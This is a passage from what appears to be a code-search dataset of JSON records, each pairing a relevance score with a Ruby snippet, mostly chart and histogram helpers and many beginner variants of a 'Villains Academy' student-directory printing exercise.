@active_subplot.y_range[1]\n @active_subplot.tasks.push(Bar.new(data, bar_color: bar_color, bar_width: bar_width,\n bar_gap: bar_gap, bar_edge: bar_edge,\n bar_edge_color: bar_edge_color,\n bar_edge_width: bar_edge_width))\n end", "title": "" }, { "docid": "65d0431f60dceb12d1d65d46e4d67dc1", "score": "0.49923068", "text": "def dice_outcomes(dice = 1, rolls = 1)\n# I used an array method instead of a hash method as I found it easier to match the example output chart\n tracker = 0\n copies = []\n# first create an arry of all outcomes called copies\n while rolls > tracker\n growth = 0\n outcome = 0\n while dice > growth\n outcome += 1 + rand(6)\n growth += 1\n end\n copies << outcome\n tracker += 1\n end\n unique = []\n chart = []\n limit = 0\n# now create an array of the unique values in the copies array called unique\n copies.each do |original|\n if !unique.include?(original)\n unique << original\n end\n end\n unique.sort!\n# delete the unique values from the copies array so only the duplicate values remain\n unique.each do |del|\n copies.delete_at(copies.index(del))\n end\n# format the values of the copies and unique arrays for display in the chart array\n unique.map { |formaty|\n chart << (formaty.to_s + \": #\")\n }\n copies.each do |hashify|\n hashy = chart[unique.index(hashify)]\n hashy.replace(hashy + \"#\")\n end\n puts \"#{dice.to_s} dice were rolled #{rolls} times to produce the following results\"\n puts chart\nend", "title": "" }, { "docid": "7ff8a606ee732751c7b82ac6e308814a", "score": "0.49862888", "text": "def setup\n size 640, 360 \n @bar_width = 20\n @hue = Array.new( (width/@bar_width), 0 ) \n color_mode HSB, height\n no_stroke\n background 0\nend", "title": "" }, { "docid": "757afc26d8ab001587d23b5c39cbe590", "score": "0.49824923", "text": "def bar\n step = @options[:step].to_f\n height = @options[:height].to_f\n width = ((@norm_data.size - 1) * step).to_f\n background_color = @options[:background_color]\n\n create_canvas(@norm_data.length * step + 2, height, background_color)\n\n upper = @options[:upper].to_f\n below_color = @options[:below_color]\n above_color = @options[:above_color]\n\n target = @options.has_key?(:target) ? @options[:target].to_f : nil\n target_color = @options[:target_color] || 'white'\n\n i = 1\n # raise @norm_data.to_yaml\n max_normalized = normalize(@maximum_value)\n @norm_data.each_with_index do |r, index|\n color = ((@data[index] || @minimum_value) >= upper) ? above_color : below_color\n @draw.stroke('transparent')\n @draw.fill(color)\n bar_height_from_top = @canvas.rows - ( (r.to_f / max_normalized.to_f) * @canvas.rows)\n @draw.rectangle( i, @canvas.rows, i + step - 2, bar_height_from_top )\n i += step\n end\n\n unless target.nil?\n adjusted_target_value = (height - 3 - normalize(target)/(101.0/(height-4))).to_i\n @draw.stroke(target_color)\n open_ended_polyline([[-5, adjusted_target_value], [width + 5, adjusted_target_value]])\n end\n\n @draw.draw(@canvas)\n @canvas\n end", "title": "" }, { "docid": "f7a7312c663976e58efb91773c0b7466", "score": "0.495844", "text": "def scale_data\n n_bins = 6.0\n raw_min = Math.log(counts.values.min) rescue 0.0 # if min == 0, log(min) = -inf = BAD juju\n raw_max = Math.log(counts.values.max) rescue 0.0 # if max == 0, log(max) = -inf = BAD juju\n slope = n_bins / (raw_max - raw_min).to_f rescue 0.0 # wouldn't want inf here, zero is fine\n counts.each do |k, raw_value|\n @counts[k] = (slope*(Math.log(raw_value) - raw_min)).to_i # make it an integer bin\n end\n end", "title": "" }, { "docid": "9025ba2b18a3f17e34970a9740db3452", "score": "0.49552888", "text": "def bins\n Set.new @tree.values\n end", "title": "" }, { "docid": "007990731a9a0b2e009d1e0c60546af1", "score": "0.49544603", "text": "def general_bin_space\n general_bin_space = 0\n @bins.each do |bin|\n if bin.type == 'General'\n general_bin_space = bin.bin_level.to_i + general_bin_space\n end \n end\n general_bin_space\n end", "title": "" }, { "docid": "9705948c71f9c5470e85b8e5aef511ed", "score": "0.495349", "text": "def histogram(query, field, interval=nil)\n raise \"The class #{self.class.name} must implement the 'histogram' method.\"\n end", "title": "" }, { "docid": "9b2a389136ad981c9c7c559d80271001", "score": "0.49509802", "text": "def graph(hash, name)\n Haml::Engine.new(File.read(\"../templates/hist.haml\")).def_method(hash, :render, :title)\n begin\n hist = File.open(\"#{name}\", 'w')\n hist.write(hash.render(:title => name))\n rescue IOError => e\n puts e\n end\n end", "title": "" }, { "docid": "9f20df39f7c3521ebe02405a9fd4adc1", "score": "0.49492973", "text": "def generate_report\n validate_required_fields\n @report = []\n @report << header\n\n (number_of_intervals - 1).times do |row|\n @report << build_row(row)\n end\n @report\n end", "title": "" }, { "docid": "07e0e9651ca43bb244f7484a1b1947de", "score": "0.4939993", "text": "def init_bar(hash)\n @max = hash[:max]\n @variable = hash[:var]\n @default = 0 if @default.nil?\n @switch = hash[:sw] if hash[:sw] != nil\n @distance = hash[:distance].nil? ? 1 : hash[:distance]\n @bar_color = hash[:color]\n end", "title": "" }, { "docid": "bf234a6b5729d4ed7fc5651376e4e63d", "score": "0.49363953", "text": "def get_layout(historical_orders)\r\n # first we have to create a ranking of all the historical order\r\n historical_orders=historical_orders\r\n\r\n hist_order_flatten = historical_orders.flatten\r\n # uniq_order = hist_order.uniq\r\n #Create a hash table to store the frequency of the items\r\n # h=Hash.new\r\n # for i in 0...uniq_order.length\r\n # key = uniq_order[i]\r\n # count = hist_order.count(key)\r\n # h[key]= count\r\n # end\r\n l_score = lengthscore(historical_orders)\r\n h = finalscore(l_score,hist_order_flatten,historical_orders)\r\n\r\n h_sorted = h.sort_by {|k,v| v}\r\n h_sorted= Hash[h_sorted.map {|key, value| [key, value]}]\r\n ranked_order = h_sorted.keys.reverse\r\n # puts \"this is ranked order = #{ranked_order}\"\r\n\r\n #This is the algo filled by columns\r\n layout = [[], [], [], [], []]\r\n row_counter = 0\r\n # for i in 0...ranked_order.length\r\n # layout[row_counter] << ranked_order[i]\r\n # row_counter += 1\r\n # row_counter %= 5 # if row_counter becomes 5, it gets reset back to 0\r\n # end\r\n\r\n # this is the algo filled by row\r\n per_row = (ranked_order.length)/5\r\n layout =ranked_order.each_slice(per_row).to_a\r\n\r\n\r\n\r\n return layout\r\nend", "title": "" }, { "docid": "b4dacceeef2e071eb3065f08b6ef6a21", "score": "0.49236986", "text": "def initialize(num_buckets = 8)\n @store = Array.new(num_buckets) { Array.new }\n @count = 0\n end", "title": "" }, { "docid": "83e82a2db3c4a05609404c44c929d8e8", "score": "0.49214995", "text": "def horizontal_bar_graph(_data)\n raise NotImplementedError\n end", "title": "" }, { "docid": "6034a48422e2f4cf95f2909b1e2b7f7a", "score": "0.49131507", "text": "def initialize\n @buckets = {}\n end", "title": "" }, { "docid": "051c673809410950e6e443bb80049790", "score": "0.49103636", "text": "def graph_report\n @header = session[:tool1]\n @product = Product.find_by_id(params[:product_id])\n @array = []\n params[:value].each_with_index do |(key,val),index|\n if session[:tool1]['regions'] == key\n name = \"#{key}(Bench Mark)\"\n a = {name: name, y: val[:percentage].to_f.round(2), drilldown: key}\n @array[0] = a\n else\n session[:tool1]['bench_region'].each_with_index do |value, index| \n index = index + 1\n if value == key\n a = {name: key, y: val[:percentage].to_f.round(2), drilldown: key}\n @array[index] = a\n end\n end\n end\n \n end\n\n end", "title": "" } ]
04ffbf2463c3bbff81ad9e3f154dabfb
=begin students = input_students print_header print(students) print_footer(students) =end
[ { "docid": "9802c5138f8bc9b791453e55849900a1", "score": "0.0", "text": "def print_menu\n puts \"1. Input the students\"\n puts \"2. Show the students\"\n puts \"3. Save list to file\"\n puts \"4. Load list from file\"\n puts \"9. Exit\"\nend", "title": "" } ]
[ { "docid": "847bad258a422a062d1c426a06f8a348", "score": "0.80615324", "text": "def print_students(students = @students)\n print_header\n looping_via_students(students)\n print_footer(students)\nend", "title": "" }, { "docid": "22c445b7252616e90f8fbe12ae40b7df", "score": "0.77764064", "text": "def show_students\n print_header(\"The Students of Villains Academy:\")\n print_students_list\n print_footer\nend", "title": "" }, { "docid": "4698242b7d8452e59c373dd66a8fb14c", "score": "0.77515924", "text": "def build_list\n students = input_students\n print_header\n # print(students)\n print_footer(students)\n print_student_by_cohort(students)\nend", "title": "" }, { "docid": "2784319c36ebc8a563bc2e9bedc4ffc8", "score": "0.7727629", "text": "def show_students\n print_header\n print_students\n print_footer\nend", "title": "" }, { "docid": "6c65ef3da4272ec9df242ebb361d1cae", "score": "0.7666036", "text": "def show_students\n\tprint_header\n\tprint_students\n\tprint_footer\nend", "title": "" }, { "docid": "88d935eeb2498508491b6dfb31c99e12", "score": "0.7661098", "text": "def show_students\n print_header()\n print_student_list(@students)\n print_footer(@students)\nend", "title": "" }, { "docid": "13a35b1bf055de8b6110bfd4d4801e26", "score": "0.76284146", "text": "def show_students\n print_header\n print_students_list \n print_footer\nend", "title": "" }, { "docid": "24438f903b2e0c48aef07ad241ae27d8", "score": "0.762807", "text": "def show_students\n print_header\n print_students_list\n print_footer\nend", "title": "" }, { "docid": "a23e85731d90835d9df58bc834c1e4e6", "score": "0.761737", "text": "def show_students\n print_header\n print_students_list\n print_footer\nend", "title": "" }, { "docid": "a23e85731d90835d9df58bc834c1e4e6", "score": "0.761737", "text": "def show_students\n print_header\n print_students_list\n print_footer\nend", "title": "" }, { "docid": "a23e85731d90835d9df58bc834c1e4e6", "score": "0.761737", "text": "def show_students\n print_header\n print_students_list\n print_footer\nend", "title": "" }, { "docid": "a23e85731d90835d9df58bc834c1e4e6", "score": "0.761737", "text": "def show_students\n print_header\n print_students_list\n print_footer\nend", "title": "" }, { "docid": "a23e85731d90835d9df58bc834c1e4e6", "score": "0.761737", "text": "def show_students\n print_header\n print_students_list\n print_footer\nend", "title": "" }, { "docid": "a23e85731d90835d9df58bc834c1e4e6", "score": "0.761737", "text": "def show_students\n print_header\n print_students_list\n print_footer\nend", "title": "" }, { "docid": "a23e85731d90835d9df58bc834c1e4e6", "score": "0.761737", "text": "def show_students\n print_header\n print_students_list\n print_footer\nend", "title": "" }, { "docid": "63cba153e933cc044f0c474405bc0cec", "score": "0.75563794", "text": "def show_students\n puts \"printing students...\"\n print_header\n print_student_list\n prints_student_singular\nend", "title": "" }, { "docid": "8ac7f5e63321b19a05e7243601376259", "score": "0.75547117", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "da81a499c08171baef021d41119ea200", "score": "0.75533766", "text": "def show_students\n print_header\n print_student_list\n print_footer\nend", "title": "" }, { "docid": "1b9648a28f3b625d1f0ef27070ba5363", "score": "0.75328207", "text": "def show_students\n\tprint_header\n\tprint_students_list\n\tprint_footer\nend", "title": "" }, { "docid": "1b9648a28f3b625d1f0ef27070ba5363", "score": "0.75328207", "text": "def show_students\n\tprint_header\n\tprint_students_list\n\tprint_footer\nend", "title": "" }, { "docid": "6f1dbee4f9c112276b50e402fbc9b77e", "score": "0.75221443", "text": "def show_students\n print_header\n print_student_by_cohort\n print_footer\nend", "title": "" }, { "docid": "9da7b360724d641a3fc2a6c9ba8e65a6", "score": "0.75066036", "text": "def print_rest\n print_header\n prints(@students)\n print_footer(@students)\nend", "title": "" }, { "docid": "ea9676120d13f24b3683511d3a484ab3", "score": "0.7452339", "text": "def show_students\n\tprint_header\n\tprint_student_list\n\tprint_footer\nend", "title": "" }, { "docid": "d7a72bc358e1da1c36baca0ec3a4993d", "score": "0.7348609", "text": "def print_student_list\n if @students.empty?\n puts \"No students inputted\".upcase.center(@width)\n else\n i = 0\n while i < @students.count\n puts \"#{@students[i][:name]}, #{@students[i][:country_of_birth]}, #{@students[i][:height]}cm, #{@students[i][:hobbies]} - (#{@students[i][:cohort]} cohort)\".center(@width)\n i += 1\n end\n end\nend", "title": "" }, { "docid": "f678c0d3c825f3d625d21caa47721bbd", "score": "0.7317551", "text": "def print_body\n @students.each do |student|\n puts \"#{student[:name]} (#{student[:cohort]} cohort) #{student[:height]} #{student[:country]} \".center(40)\n end\nend", "title": "" }, { "docid": "7c13c1376dd9e4db269322b8bb98e8b6", "score": "0.7306079", "text": "def print_student_list\n if !@students.empty?\n @students.each_with_index do |student, index|\n puts \"#{index + 1}.#{index < 9 ? \" \" : \" \"}#{student[:name]} (#{student[:cohort]} cohort)\"\n\n # Ex5 - Output the additional information:\n # Ex6 - Align output with center(). Adding extra space above if needed\n puts \"Biography: #{student[:bio]}\".center(20 + student[:bio].length)\n puts \"Nemesis: #{student[:nemesis]}\".center(18 + student[:nemesis].length)\n puts\n end\n end\nend", "title": "" }, { "docid": "4cbf5d577eb0823225802a589ad33ae3", "score": "0.7227782", "text": "def print_footer(students) # only names - but the methods still don't\n puts \"Overall, we have #{students.count} great students\".center(110) # have access to the\n # we could also use students.length # students variable defined at the top \nend", "title": "" }, { "docid": "e2d9817ffa762d7365ccaa2cc4387035", "score": "0.7205897", "text": "def print_students(students)\n\tif students.empty? \n\t\tputs \"There are no students in the database!\"\n\telse\n\tputs \"This is a list of all students in the Makers Academy database\"\n\t\tstudents.each.with_index(1) do |student, index|\n\t\t\tputs \"\\t#{index}. #{student[:name]}, #{student[:cohort]}, #{student[:nationality]}\"\n\t\tend\t\n\tend\n\t\nend", "title": "" }, { "docid": "6eeb412ac3846d39ffe8adc4edbf571b", "score": "0.71772015", "text": "def print_header\n puts\n puts \"The students of #{$school_name}\".center(100)\n puts \"-------------------------------\".center(100)\nend", "title": "" }, { "docid": "be6cc817a76fdada7e59b8a566317be6", "score": "0.71420133", "text": "def print_header(students)\n if students.count == 0\n input_students\n else\n students.count >= 1\n puts \"The students of Villains Academy\"\n puts \"-------------\"\n end\n\nend", "title": "" }, { "docid": "1d7654c94d69d9f711718970f36082e8", "score": "0.71385413", "text": "def print_header\n if !@students.empty?\n puts \"The students of Villains Academy\".center(@width)\n puts \"-------------\".center(@width)\n end\nend", "title": "" }, { "docid": "a8f15388338aa2c441c2859bd8be1833", "score": "0.7135589", "text": "def print_footer(students) # only names - but the methods still don't\n puts \"Overall, we have #{students.count} great students\" # have access to the\n # we could also use students.length # students variable defined at the top \nend", "title": "" }, { "docid": "c17d487e5ba684d11553679f2c8f06af", "score": "0.71001166", "text": "def print_header\n puts \"Students\"\n puts \"-------------\"\nend", "title": "" }, { "docid": "a7f020175550241fabf905bb33ad8a15", "score": "0.7076484", "text": "def show_students\n sort_cohort(cohort_display)\n print_footer\nend", "title": "" }, { "docid": "b651505153242a6e502875014d219c46", "score": "0.70626134", "text": "def print(students)\n if students.count > 0\n students.each_with_index do |student, index|\n puts \"#{index + 1}. #{student[:name]} (#{student[:cohort]} cohort)\".center($center_amount)\n end\n end\nend", "title": "" }, { "docid": "4410f7830d191a7ea016a5f472e0638c", "score": "0.70264685", "text": "def print(students)\n if !students.empty?\n students.each do |student|\n puts \"#{student[:name]}, (#{student[:cohort]} cohort)\".center(80)\n end\n end\nend", "title": "" }, { "docid": "6d1661643ff3808dfdda52428efaa1c4", "score": "0.70260304", "text": "def print_students()\n\t@students.each_with_index do |student, index|\n\t\tputs \"#{index + 1}: \" + \"#{student[:name]}\".center(20) + \" (#{student[:cohort]} cohort)\"\n\tend\nend", "title": "" }, { "docid": "d1efbf9bf7c3958d9674316bcc75056c", "score": "0.7020531", "text": "def print_student_list\n if @students.length > 0\n # each with index adds index before each puts statement\n @students.each_with_index() do |student, index|\n # offset puts by one\n start_at_one = index + 1\n puts \"#{start_at_one}. #{student[:name]}, #{student[:cohort]}, Favourite hobby #{student[:hobby]}\"\n end\n end\nend", "title": "" }, { "docid": "f63ba9eae899990929b16764ccdf7c6d", "score": "0.7011112", "text": "def print_footer # only names - but the methods still don't\n puts \"Overall, we have #{@students.count} great students\" # have access to the\n # we could also use students.length # students variable defined at the top \nend", "title": "" }, { "docid": "62a9cf2de818a6611d6dfcf591672c6c", "score": "0.69946986", "text": "def print_with_info\n puts \"\\nExercise 5: Added additional student info. Wrote code to output addtional info\"\n if !@students.empty?\n @students.each_with_index do |student, index|\n puts \"#{index + 1}.#{index < 9 ? \" \" : \" \"}#{student[:name]} (#{student[:cohort]} cohort)\"\n # Ex5 - Output the additional information:\n puts \"Biography: #{student[:bio]}\".center(20 + student[:bio].length)\n puts \"Nemesis: #{student[:nemesis]}\".center(18 + student[:nemesis].length)\n puts\n end\n end\nend", "title": "" }, { "docid": "4ef3820f4d1e1a35de2f8e9a37f674bf", "score": "0.6976678", "text": "def print(_students)\n @students.each do |student|\n puts \"#{student[:name]}, #{student[:cohort]} cohort, Hobby: #{student[:hobby]}, Country of birth: #{student[:country]}\"\n end\nend", "title": "" }, { "docid": "3be9bcc8f1be409259498196a9ba0193", "score": "0.69698477", "text": "def display_the(students)\n\tstudents.each {|student| puts \"#{student[:name]} from the #{student[:cohort]} cohort is #{student[:age]}\"}\nend", "title": "" }, { "docid": "13f5f178e457912691195f3a422642fb", "score": "0.6964972", "text": "def prints(students)\n @students.each do |student|\n puts \"#{student[:name]}, Country: #{student[:country]}, Age: #{student[:age]}, (#{student[:cohort]} cohort)\"\n end\nend", "title": "" }, { "docid": "7fc485fd2ad833c74e99a63c70a27447", "score": "0.6959829", "text": "def print_footer(students = @students)\n puts @program_phrases[\"lines\"]\n print students.size, @program_phrases[\"footer_student_show\"],\"\\n\"\n puts @program_phrases[\"lines\"]\nend", "title": "" }, { "docid": "5df2a13bae92985e5d9da4b9e5e33533", "score": "0.69585747", "text": "def print_students (array) # prints and formats students data so it is readable\n\tprintf(\"%-15s%-15s%-30s%-8s%-30s%-30s%-30s%-30s\\n\", \"First Name\",\"Last Name\", \"Email\", \"Section\", \"Major\",\"Major (2nd)\", \"Minor\",\"Minor (2nd)\")\n\tarray.each do |student| # only select students by month\n\t\t# puts \"#{student[:first]} #{student[:last]} #{student[:email]} #{student[:section]} #{student[:major1]} #{student[:major2]} #{student[:minor2]} #{student[:minor2]} \"\n\t\tprintf(\"%-15s%-15s%-30s%-8s%-30s%-30s%-30s%-30s\\n\", \"#{student[:first]}\",\" #{student[:last]}\", \"#{student[:email]}\", \"#{student[:section]}\", \"#{student[:major1]}\",\"#{student[:major2]}\", \"#{student[:minor1]}\",\"#{student[:minor2]}\")\n\tend\nend", "title": "" }, { "docid": "166510546a67e0492e5af49a2402e551", "score": "0.6958048", "text": "def print_students(students = @students)\n students.each {|student| puts student}\n end", "title": "" }, { "docid": "41c97b1585d1c97a8c0de7eb954945f4", "score": "0.6942851", "text": "def show_students\n if @students != []\n puts \"Ok, lets do it!\"\n print_students_list\n print_footer\n else puts \"No students to print.\"\n end\nend", "title": "" }, { "docid": "daf2c2d831543ab7db835de8de3f4055", "score": "0.6938765", "text": "def question_11\n \ndef input_students\n puts \"Please enter the names of the students\"\n puts \"To finish, just hit return twice\"\n # create an empty array\n students = []\n # get the first name\n name = gets.chomp\n # while the name is not empty, repeat this code\n while !name.empty? do\n # add the student hash to the array\n students << {name: name, cohort: :november}\n puts \"Now we have #{students.count} students\"\n # get another name from the user\n name = gets.chomp\n end\n # return the array of students\n students\nend\n\ndef print_header\n puts \"The students of my cohort at Makers Academy\"\n puts \"-------------\"\nend\n\ndef print(students)\n students.each do |student|\n puts \"#{student[:name]} (#{student[:cohort]} cohort)\"\n end\nend\n\ndef print_footer(students)\n puts \"\\nOverall, we have #{students.count} great students\"\nend\n\n\nstudents = input_students\nprint_header\nprint(students)\nprint_footer(students)\n\nend", "title": "" }, { "docid": "3b13e9919e547667a246893e186da57f", "score": "0.6933566", "text": "def print_header\n if @students.count > 0\n puts \"The students of Villains Academy:\\n\"\n puts \"------------\\n\"\n end\nend", "title": "" }, { "docid": "66142f5430b419a290c5b7425985cca9", "score": "0.6932799", "text": "def print(names)\n if names.length > 0\n # each with index adds index before each puts statement\n names.each_with_index() do |student, index|\n # offset puts by one\n start_at_one = index + 1\n puts \"#{start_at_one}. #{student[:name]}, #{student[:cohort]}, Favourite hobby #{student[:hobby]}\"\n end\n end\nend", "title": "" }, { "docid": "e012618295e74774a61dd5d83a1bef5d", "score": "0.69280857", "text": "def print_footer\n if @students == []\n else\n print \"\\n Overall, we have #{@students.count} great #{multiple_students}\"\n end\n #\\n can be used to create a new line\n # print \"line1\\nline2\\nline3\"\nend", "title": "" }, { "docid": "a1d3fd2d232e89983368a324ed03cecf", "score": "0.69238347", "text": "def print_students_list(*)\n count = 0\n while @students.length > count\n center_puts \"#{count+1}. #{@students[count][:name]} (#{@students[count][:cohort]} cohort)\"\n count += 1\n end\nend", "title": "" }, { "docid": "e28aa2b5a86ef97a8f2221e90abf0e1c", "score": "0.69161266", "text": "def print_students\n\tif @students.empty? \n\t\tputs \"There are no students in the database!\"\n\telse\n\t\tputs \"This is a list of all students in the Makers Academy database\"\n\t\t@students.each.with_index(1) do |student, index|\n\t\t\tputs \"\\t#{index}. #{student[:name]}, #{student[:cohort]}, #{student[:nationality]}\"\n\t\tend\n\tend\nend", "title": "" }, { "docid": "bd4d3edfebc653ff4669941d9f206b14", "score": "0.6916126", "text": "def print_footer(students)\n\tputs \"Overall, we have #{students.length} students in this cohort\"\nend", "title": "" }, { "docid": "3e11d97db738ce57b90d61e8e913c676", "score": "0.6910271", "text": "def show_students\n\tif @students.length <= 0\n\t\tputs \"No students found in student list\"\n\telse \n\t\tprint_header\n\t\tprint_students_list\n\t\tprint_footer\n\tend\nend", "title": "" }, { "docid": "14c0f19929feb453be39a000aaaa49b0", "score": "0.6905379", "text": "def print_footer(students)\nputs \"Overall, we have #{students.count} great students\"\nend", "title": "" }, { "docid": "6a2cc2ee2acdc15abedf7e46eb38bc9c", "score": "0.69023216", "text": "def print_student(students)\n\tstudents.each_with_index do |student,index|\n\t\tputs \"#{index+1}. #{student[:name]} (#{student[:cohort]} cohort)\"\n\tend\nend", "title": "" }, { "docid": "0ea50db58670e8d432b872eff03b4d42", "score": "0.69013095", "text": "def print_header\n #added an if statement to only print if the list has at least one student name\n if !(@students.empty?)\n #we use the center method to make the header centered\n puts \"The students of Villains Academy\".center(100)\n puts \"\".center(100,\"-\")\n else\n puts \"The student list is empty! There is nothing to print.\"\n end\nend", "title": "" }, { "docid": "06deaf458e8fe58551ea8141a2b11a1b", "score": "0.6895507", "text": "def print_students(students)\n students.each { |student| puts \"#{student[:name]} (#{student[:cohort]} cohort), hobby: #{student[:hobby]}, country: #{student[:country]}, height: #{student[:height]}\"}\nend", "title": "" }, { "docid": "4f6286f094948eb3269182fc57cc996a", "score": "0.68942636", "text": "def print_students_list\n\t@students.each_with_index do |student,index|\n \t# COMMENT Q2 print students whose names start w/ a specific letter; here, letter D.\n \t# if student[:name].start_with?('d','D')\n\n \t# COMMENT Q3 print student whose name is < 12 characters.\n \t# max_length = 12\n \t# if student[:name].length < max_length\n puts \"#{index + 1}.\" + \" #{student[:name]} (#{student[:cohort]} cohort)\".center(60)\n # end\n end\nend", "title": "" }, { "docid": "2752c7e07cc7ef8e65b380fbee695c19", "score": "0.6883706", "text": "def print_footer\n\tstudent_var = \"\"\n\tif @students.length == 1\n\t\tstudent_var = \"student\"\n\telse\n\t\tstudent_var = \"students\"\n\tend\n\tputs \"Overall, we have #{@students.count} great #{student_var}\"\nend", "title": "" }, { "docid": "41f0db227442b75aee1ab4693e85f998", "score": "0.6876126", "text": "def print_header\n puts @program_phrases[\"students_list\"]\n puts @program_phrases[\"lines\"]\n text_centering(\"Name\",20)\n text_centering(\"Gender\",5)\n text_centering(\"Course\",10)\n puts \"\\n\", @program_phrases[\"lines\"]\nend", "title": "" }, { "docid": "1b88dfb9be70b15957f2109e2a94d97d", "score": "0.6874345", "text": "def print_footer\n @students.count == 1 ? noun = \"student\" : noun = \"students\"\n printer(\"Overall, we have #{@students.count} great #{noun}\") if !@students.empty?\nend", "title": "" }, { "docid": "1f9d05cb1ffe10b9a8d189da0023fcd9", "score": "0.6871171", "text": "def print(students)\n if !students.empty?\n students.each_with_index do |student, index|\n puts \"#{index+1} #{student[:name]} #{student[:country]} #{student[:hobby]} (#{student[:cohort]} cohort)\".center(@center)\n end\n else \n puts \"\\nThere are no students in the directory. \".center(@center)\n end\n end", "title": "" }, { "docid": "499f88f7df9b09d8377eac934f8d7d33", "score": "0.6870175", "text": "def print_footer(students)\n puts \"Overall, we have #{students.count} great students\"\nend", "title": "" }, { "docid": "fd0a785986b9bce6b9fc1748fbc87406", "score": "0.6863804", "text": "def print(students)\n students.each_with_index do |student, index|\n puts \"#{index+1} #{student[:name]} #{student[:country]} #{student[:hobby]} (#{student[:cohort]} cohort)\".center(@center)\n end\nend", "title": "" }, { "docid": "82e1ae4b01e1db3edc494c84a44703eb", "score": "0.68510413", "text": "def print(students)\n students.each do |student|\n puts \"#{student[:name]}:\n likes #{student[:hobby]},\n is from #{student[:country_of_birth]},\n is #{student[:height]}\n and likes #{student[:biscuit]}s\n (#{student[:cohort]} cohort)\"\n puts\n end\nend", "title": "" }, { "docid": "82e1ae4b01e1db3edc494c84a44703eb", "score": "0.68510413", "text": "def print(students)\n students.each do |student|\n puts \"#{student[:name]}:\n likes #{student[:hobby]},\n is from #{student[:country_of_birth]},\n is #{student[:height]}\n and likes #{student[:biscuit]}s\n (#{student[:cohort]} cohort)\"\n puts\n end\nend", "title": "" }, { "docid": "b2ac4269e054d3cf23b92fd17087d986", "score": "0.684142", "text": "def print_header\n if @students.count > 0\n puts \"The students of Villains Academy\"\n puts \"-------------\"\n else\n exit\n end\nend", "title": "" }, { "docid": "628b4086c0c0ac355df35dbfe927cc27", "score": "0.6811736", "text": "def print_footer(_students)\n puts \"Overall, we have #{@students.count} great students\"\nend", "title": "" }, { "docid": "a223fed1ed8e47e4b82a2e64c3b2d4ef", "score": "0.68044734", "text": "def print_footer(students)\n\tif students.length <= 1\n\t\tputs \"\"\n\t\tputs \"Overall, we have #{students.length} great student\"\n\telse \n\t\tputs \"\"\n\t\tputs \"Overall, we have #{students.length} great students\"\n\tend\nend", "title": "" }, { "docid": "de614acef18b120b2bd89a91839eb9ed", "score": "0.68035656", "text": "def print_students\n if @students.size > 0\n @students.each_with_index do |student,index|\n puts \"#{index+1}. #{student[:name]} (#{student[:cohort]} cohort)\".center($title1.length)\n end\n else\n puts \"0 students\"\n end\nend", "title": "" }, { "docid": "5cb7ee4e360ffcdb5d9a7d0dad8e916a", "score": "0.6803274", "text": "def print_header\n\tputs \"The student#{plural} of my cohort at Makers Academy\".center(100)\n\tputs \"------------\".center(100)\nend", "title": "" }, { "docid": "c99a8e9a5877333b18aa75a1957a6754", "score": "0.6801836", "text": "def print_students\n\t@students.each do |student|\n\tputs \"#{student[ :name]} (#{student[:cohort]} cohort)\"\n\t\t\n\tend\nend", "title": "" }, { "docid": "8855f7ef3b0c8013bb95aa1a8cad54e4", "score": "0.67835957", "text": "def print_list(students)\n students.each_with_index do |student, i|\n output = \"#{i+1} #{student[:name]} - (#{student[:cohort]} cohort) - #{student[:age]} y.o. - #{student[:born]} - #{student[:height]} cm - #{student[:hobbies]}\"\n output.center_puts\n puts\n end\nend", "title": "" }, { "docid": "df36f13aa8b36314fccf75dced03a4aa", "score": "0.6780154", "text": "def print_footer(students)\n puts \"Overall, we have #{students.count} great students.\".center(50)\nend", "title": "" }, { "docid": "eccace1700f8ccb7da46d3a5e4df6e99", "score": "0.67791593", "text": "def print_footer(students)\n puts \"-------------------------------\".center(100)\n puts \"Overall, we have #{students.count} great #{students.count == 1 ? \"student\" : \"students\"}\".center(100)\nend", "title": "" }, { "docid": "9f513763121c8fd1ff7d234b72e1d52d", "score": "0.677728", "text": "def print_footer(students)\n puts \"Overall, we have #{students.count} great students\"\nend", "title": "" }, { "docid": "9f513763121c8fd1ff7d234b72e1d52d", "score": "0.677728", "text": "def print_footer(students)\n puts \"Overall, we have #{students.count} great students\"\nend", "title": "" }, { "docid": "9f513763121c8fd1ff7d234b72e1d52d", "score": "0.677728", "text": "def print_footer(students)\n puts \"Overall, we have #{students.count} great students\"\nend", "title": "" }, { "docid": "9f513763121c8fd1ff7d234b72e1d52d", "score": "0.677728", "text": "def print_footer(students)\n puts \"Overall, we have #{students.count} great students\"\nend", "title": "" }, { "docid": "9f513763121c8fd1ff7d234b72e1d52d", "score": "0.677728", "text": "def print_footer(students)\n puts \"Overall, we have #{students.count} great students\"\nend", "title": "" }, { "docid": "d24fac772e29bbad6fbc76dbb7b7a9ab", "score": "0.6774179", "text": "def students_menu\n puts <<~HEREDOC\n\n TYPE YOUR NUMBER TO LOGIN\n\n 1. Sylvia Lee\n 2. Meryl Dakin\n 3. Peter Chicarielli\n 4. Elizabeth Nicholson\n 5. Anna Olshevskaia\n 6. Robert Weber\n 7. Sarah Bruce\n 8. Duncan Maina\n 9. Sammy Steiner\n 10. Curtis Greene\n 11. Naz Khan\n 12. Ethan Ryan\n 13. Christopher Hague\n 14. Scott Harrison\n 15. Daniel Park\n 16. Charlie Stopek\n 17. Peter Kim\n 18. Usman Pervaiz\n 19. David Mieloch\n 